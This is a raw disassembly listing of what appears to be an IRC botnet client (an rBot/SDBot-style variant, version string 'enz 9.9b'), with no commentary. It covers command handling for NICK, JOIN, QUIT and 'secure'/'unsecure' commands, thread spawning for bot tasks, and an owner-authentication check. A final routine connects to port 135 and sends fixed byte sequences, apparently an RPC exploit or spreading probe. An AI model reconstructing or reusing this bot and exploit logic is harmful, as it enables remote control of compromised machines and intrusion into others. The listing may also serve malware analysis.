loc_412058:				; CODE XREF: sub_40CE55+15AAj
					; sub_40CE55+15BFj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C515
		jmp	loc_40D216
; ---------------------------------------------------------------------------

loc_412075:				; CODE XREF: sub_40CE55+1580j
					; sub_40CE55+1595j
		or	edi, 0FFFFFFFFh
		call	dword_42104C
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41209E
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	edi, eax

loc_41209E:				; CODE XREF: sub_40CE55+523Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4120B7
		cmp	edi, 0FFFFFFFFh
		jnz	loc_41298E

loc_4120B7:				; CODE XREF: sub_40CE55+5257j
		push	ebx
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4338D8
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_410180
; ---------------------------------------------------------------------------

loc_4120F9:				; CODE XREF: sub_40CE55+1556j
					; sub_40CE55+156Bj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4085D3
		lea	eax, [ebp+var_2C8]
		push	offset unk_4338A4
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_412123:				; CODE XREF: sub_40CE55+152Cj
					; sub_40CE55+1541j
		push	1Eh
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41214C
		cmp	[ebp+var_8], ebx
		jnz	loc_40D219
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433870
		push	[ebp+var_8C]
		jmp	loc_40D777
; ---------------------------------------------------------------------------

loc_41214C:				; CODE XREF: sub_40CE55+52D8j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		mov	[ebp+var_458], ebx
		jz	short loc_4121AD
		push	esi
		push	offset aFull	; "full"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121AD
		mov	[ebp+var_458], 1

loc_4121AD:				; CODE XREF: sub_40CE55+533Bj
					; sub_40CE55+534Cj
		lea	eax, [ebp+var_2C8]
		push	offset dword_433834
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Eh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_413F83
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_41221B

loc_412205:				; CODE XREF: sub_40CE55+53C4j
		cmp	[ebp+var_44C], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060
		jmp	short loc_412205
; ---------------------------------------------------------------------------

loc_41221B:				; CODE XREF: sub_40CE55+53AEj
		call	dword_421088
		push	eax
		push	offset dword_4337E4
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_41222C:				; CODE XREF: sub_40CE55+1502j
					; sub_40CE55+1517j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41224B
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4337B8
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_41224B:				; CODE XREF: sub_40CE55+53DAj
		push	[ebp+arg_4]
		call	dword_43A450
		call	dword_43A318
		call	sub_409E15
		push	ebx
		call	dword_421114

loc_412266:				; CODE XREF: sub_40CE55+14D8j
					; sub_40CE55+14EDj
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40AAD1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_43378C
		jmp	short loc_4122BE
; ---------------------------------------------------------------------------

loc_412291:				; CODE XREF: sub_40CE55+14AEj
					; sub_40CE55+14C3j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433760

loc_4122BE:				; CODE XREF: sub_40CE55+519Ej
					; sub_40CE55+543Aj
		call	sub_40B16D
		jmp	loc_410F32
; ---------------------------------------------------------------------------

loc_4122C8:				; CODE XREF: sub_40CE55+1484j
					; sub_40CE55+1499j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B20D
		jmp	loc_40D216
; ---------------------------------------------------------------------------

loc_4122E1:				; CODE XREF: sub_40CE55+145Aj
					; sub_40CE55+146Fj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_374], bl
		jz	short loc_412320
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412320
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412320
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_415A6A
		add	esp, 10h

loc_412320:				; CODE XREF: sub_40CE55+5495j
					; sub_40CE55+54A0j ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3F4]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		push	offset dword_433734
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ch
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_40B27F
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_4123C0

loc_4123AA:				; CODE XREF: sub_40CE55+5569j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060
		jmp	short loc_4123AA
; ---------------------------------------------------------------------------

loc_4123C0:				; CODE XREF: sub_40CE55+5553j
		call	dword_421088
		push	eax
		push	offset dword_4336E8
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_4123D1:				; CODE XREF: sub_40CE55+1430j
					; sub_40CE55+1445j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B0F5
		push	offset dword_4336BC
		call	sub_40B16D
		jmp	loc_411F60
; ---------------------------------------------------------------------------

loc_4123F1:				; CODE XREF: sub_40CE55+1406j
					; sub_40CE55+141Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jz	short loc_41244B
		push	offset dword_4336B8
		push	esi
		call	sub_415910
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_458], eax
		jmp	short loc_412451
; ---------------------------------------------------------------------------

loc_41244B:				; CODE XREF: sub_40CE55+55DAj
		mov	[ebp+var_458], ebx

loc_412451:				; CODE XREF: sub_40CE55+55F4j
		lea	eax, [ebp+var_2C8]
		push	offset dword_433688
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Fh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_414FFE
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_4124BB

loc_4124A9:				; CODE XREF: sub_40CE55+5664j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_4124D6
		push	32h
		call	dword_421060
		jmp	short loc_4124A9
; ---------------------------------------------------------------------------

loc_4124BB:				; CODE XREF: sub_40CE55+5652j
		call	dword_421088
		push	eax
		push	offset dword_43363C

loc_4124C7:				; CODE XREF: sub_40CE55+4523j
					; sub_40CE55+463Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4124D6:				; CODE XREF: sub_40CE55+28C1j
					; sub_40CE55+28E3j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		jmp	loc_40E519
; ---------------------------------------------------------------------------

loc_4124E2:				; CODE XREF: sub_40CE55+138Aj
					; sub_40CE55+139Fj
		push	offset aIdsppn	; "idsppn"
		lea	eax, [ebp+var_2C8]
		push	offset dword_433610
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_412519:				; CODE XREF: sub_40CE55+1360j
					; sub_40CE55+1375j
		push	dword_468838
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4335D0
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_412557:				; CODE XREF: sub_40CE55+1336j
					; sub_40CE55+134Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412589
		cmp	[ebp+var_C], ebx
		jz	short loc_412598
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412598
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 0Ch
		jmp	short loc_412598
; ---------------------------------------------------------------------------

loc_412589:				; CODE XREF: sub_40CE55+570Bj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		pop	ecx
		pop	ecx

loc_412598:				; CODE XREF: sub_40CE55+5710j
					; sub_40CE55+571Fj ...
		push	0FFFFFFFEh
		jmp	loc_40D21B
; ---------------------------------------------------------------------------

loc_41259F:				; CODE XREF: sub_40CE55+130Cj
					; sub_40CE55+1321j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_43357C
		call	sub_40B16D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_4125C1:				; CODE XREF: sub_40CE55+12E2j
					; sub_40CE55+12F7j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_433538
		call	sub_40B16D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_4125E2:				; CODE XREF: sub_40CE55+12B8j
					; sub_40CE55+12CDj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407135
		jmp	loc_410E9B
; ---------------------------------------------------------------------------

loc_4125F8:				; CODE XREF: sub_40CE55+1213j
					; sub_40CE55+1228j
		push	[ebp+esi+var_90]
		push	1Eh
		push	offset dword_433528
		push	offset dword_43351C
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_412610:				; CODE XREF: sub_40CE55+11E9j
					; sub_40CE55+11FEj
		push	[ebp+esi+var_90]
		push	1Bh
		push	offset dword_433510
		push	offset dword_433500
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_412628:				; CODE XREF: sub_40CE55+1014j
					; sub_40CE55+1029j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_41264C
; ---------------------------------------------------------------------------

loc_412647:				; CODE XREF: sub_40CE55+57DCj
					; sub_40CE55+57E7j
		mov	eax, dword_42C184

loc_41264C:				; CODE XREF: sub_40CE55+57F0j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_464], eax
		cmp	esi, ebx
		jz	short loc_412671
		push	esi

loc_41265E:				; CODE XREF: sub_40CE55+582Bj
		lea	eax, [ebp+var_474]
		push	10h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_412688
; ---------------------------------------------------------------------------

loc_412671:				; CODE XREF: sub_40CE55+5806j
		cmp	[ebp+var_9B3], bl
		jz	short loc_412682
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_41265E
; ---------------------------------------------------------------------------

loc_412682:				; CODE XREF: sub_40CE55+5822j
		mov	[ebp+var_474], bl

loc_412688:				; CODE XREF: sub_40CE55+581Aj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_458], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_454], eax
		lea	eax, [ebp+var_4F4]
		push	eax
		mov	[ebp+var_4F8], esi
		call	sub_415A6A
		add	esp, 0Ch
		push	[ebp+var_464]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	11h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_460], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_40800A
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_460]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_412739

loc_412723:				; CODE XREF: sub_40CE55+58E2j
		cmp	[ebp+var_450], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060
		jmp	short loc_412723
; ---------------------------------------------------------------------------

loc_412739:				; CODE XREF: sub_40CE55+58CCj
		call	dword_421088
		push	eax
		push	offset unk_4334B4
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_41274A:				; CODE XREF: sub_40CE55+FC0j
					; sub_40CE55+FD5j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412772
		push	edi
		push	offset aSec	; "sec"
		call	sub_415910
		pop	ecx
		mov	[ebp+var_458], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_41277C

loc_412772:				; CODE XREF: sub_40CE55+5904j
		mov	[ebp+var_458], 1

loc_41277C:				; CODE XREF: sub_40CE55+591Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_458], ebx
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_450], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_4127C3
		mov	eax, offset aUnsecuring	; "Unsecuring"

loc_4127C3:				; CODE XREF: sub_40CE55+5967j
		push	eax
		push	offset dword_433464
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	19h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_41465A
		push	ebx
		push	ebx
		call	dword_42108C
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F55C[ecx], eax
		jz	short loc_412833

loc_412821:				; CODE XREF: sub_40CE55+59DCj
		cmp	[ebp+var_44C], ebx
		jnz	short loc_41284E
		push	32h
		call	dword_421060
		jmp	short loc_412821
; ---------------------------------------------------------------------------

loc_412833:				; CODE XREF: sub_40CE55+59CAj
		call	dword_421088
		push	eax
		push	offset unk_433414

loc_41283F:				; CODE XREF: sub_40CE55+3C66j
					; sub_40CE55+4738j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_41284E:				; CODE XREF: sub_40CE55+295Fj
					; sub_40CE55+2981j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_40D408
; ---------------------------------------------------------------------------

loc_41285F:				; CODE XREF: sub_40CE55+F96j
					; sub_40CE55+FABj
		push	offset aEnz9_9b	; "enz 9.9b"
		push	offset dword_4333F0

loc_412869:				; CODE XREF: sub_40CE55+44D8j
					; sub_40CE55+47ECj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7

loc_412875:				; CODE XREF: sub_40CE55+5156j
		add	esp, 0Ch
		jmp	loc_40EF86
; ---------------------------------------------------------------------------

loc_41287D:				; CODE XREF: sub_40CE55+F6Cj
					; sub_40CE55+F81j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4128DD
		push	esi
		call	sub_415A5F
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4128D2
		cmp	eax, 2
		jge	short loc_4128D2
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4128C7
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_436538
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_4128C7:				; CODE XREF: sub_40CE55+5A51j
		push	eax
		push	offset dword_4333B0
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_4128D2:				; CODE XREF: sub_40CE55+5A3Cj
					; sub_40CE55+5A41j
		push	eax
		push	offset dword_433370
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_4128DD:				; CODE XREF: sub_40CE55+5A31j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_4128E2:				; CODE XREF: sub_40CE55+5AA9j
		push	[ebp+var_94]
		push	edi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412905
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_4128E2
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_412905:				; CODE XREF: sub_40CE55+5A9Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_436538
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_41291F:				; CODE XREF: sub_40CE55+F42j
					; sub_40CE55+F57j
		push	[ebp+var_90]
		push	offset dword_436490
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41298E
		call	sub_41515C
		push	ebx
		call	dword_421114

loc_412941:				; CODE XREF: sub_40CE55+F18j
					; sub_40CE55+F2Dj
		push	[ebp+esi+var_90]
		xor	eax, eax
		cmp	[ebp+var_9A4], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_564]
		push	dword_42C1A4
		push	eax
		call	sub_414433
		lea	eax, [ebp+var_564]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_564]
		push	eax
		push	offset dword_433338
		call	sub_40B1E1

loc_41298B:				; CODE XREF: sub_40CE55+2ADAj
		add	esp, 24h

loc_41298E:				; CODE XREF: sub_40CE55+65Cj
					; sub_40CE55+668j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_412996:				; CODE XREF: sub_40CE55+B18j
					; sub_40CE55+B2Dj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], esi
		jz	loc_40D219
		cmp	[ebp+var_98], ebx
		jnz	loc_40D219
		push	offset dword_42F3F8
		push	[ebp+var_94]
		call	sub_416C98
		mov	esi, eax
		push	offset dword_438FF4
		push	ebx
		inc	esi
		call	sub_416C98
		push	offset asc_433334 ; "~"
		push	eax
		call	sub_416C98
		push	[ebp+arg_0]
		mov	edi, eax
		push	offset aHi	; "hi"
		call	sub_415910
		add	esp, 20h
		test	eax, eax
		jz	short loc_412A3E
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_4332A8

loc_412A2A:				; CODE XREF: sub_40CE55+5C45j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 30h
		jmp	loc_40D7F9
; ---------------------------------------------------------------------------

loc_412A3E:				; CODE XREF: sub_40CE55+5B9Cj
		mov	[ebp+arg_24], offset off_42C264

loc_412A45:				; CODE XREF: sub_40CE55+5C0Cj
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412A9C
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_42C268
		jl	short loc_412A45
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	edi
		push	esi
		push	offset dword_433268
		jmp	short loc_412A2A
; ---------------------------------------------------------------------------

loc_412A9C:				; CODE XREF: sub_40CE55+5BFFj
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_412AA1:				; CODE XREF: sub_40CE55+5C76j
		cmp	[ebp+arg_0], ebx
		jz	loc_40D219
		cmp	[edi], bl
		jnz	short loc_412AC1
		push	[ebp+arg_0]
		push	offset aHi	; "hi"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412AD2

loc_412AC1:				; CODE XREF: sub_40CE55+5C57j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_412AA1
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_412AD2:				; CODE XREF: sub_40CE55+5C6Aj
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_A94]
		push	7Fh
		push	eax
		push	esi
		call	sub_416D40
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_412B09
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433234
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_412B09:				; CODE XREF: sub_40CE55+5C98j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset dword_433200
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_412B1A:				; CODE XREF: sub_40CE55+20Ej
					; sub_40CE55+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_42C240
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 2Ch
		mov	dword_4689B8, edi
		jmp	loc_40D0F2
sub_40CE55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B60	proc near		; CODE XREF: sub_412B98+125p
					; sub_412B98+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_412B8E

loc_412B71:				; CODE XREF: sub_412B60+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_417930
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412B94
		inc	esi
		cmp	esi, edi
		jl	short loc_412B71

loc_412B8E:				; CODE XREF: sub_412B60+Fj
		xor	al, al

loc_412B90:				; CODE XREF: sub_412B60+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_412B94:				; CODE XREF: sub_412B60+27j
		mov	al, 1
		jmp	short loc_412B90
sub_412B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B98	proc near		; CODE XREF: sub_4033CB+8Bp
					; sub_4033CB+174p

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_415D70
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_412BD9
		dec	eax
		jz	short loc_412BB7
		dec	eax

loc_412BB1:				; CODE XREF: sub_412B98+57j
		xor	eax, eax

loc_412BB3:				; CODE XREF: sub_412B98+3Fj
					; sub_412B98+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_412BB7:				; CODE XREF: sub_412B98+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_43A3F8
		push	eax
		call	sub_4076EE
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_412BB3
; ---------------------------------------------------------------------------

loc_412BD9:				; CODE XREF: sub_412B98+13j
		push	6
		push	1
		push	2
		call	dword_43A438
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_412BB1
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_43A3B8
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40A05B
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43A360
		cmp	eax, edi
		jz	loc_412CF5
		push	ebx
		push	48h
		push	offset dword_4365B0
		push	esi
		call	dword_43A408
		cmp	eax, edi
		jz	loc_412CF5
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3D0
		cmp	eax, edi
		jz	loc_412CF5
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_412CF5
		push	ebx
		push	18h
		push	offset dword_4365FC
		push	[ebp+arg_4]
		call	dword_43A408
		cmp	eax, edi
		jz	short loc_412CF5
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_43A3D0
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_412CF5
		cmp	[ebp+var_200E],	2
		jnz	short loc_412CF5
		push	10h
		push	offset loc_436618
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_412B60
		add	esp, 10h
		test	al, al
		jz	short loc_412CD5
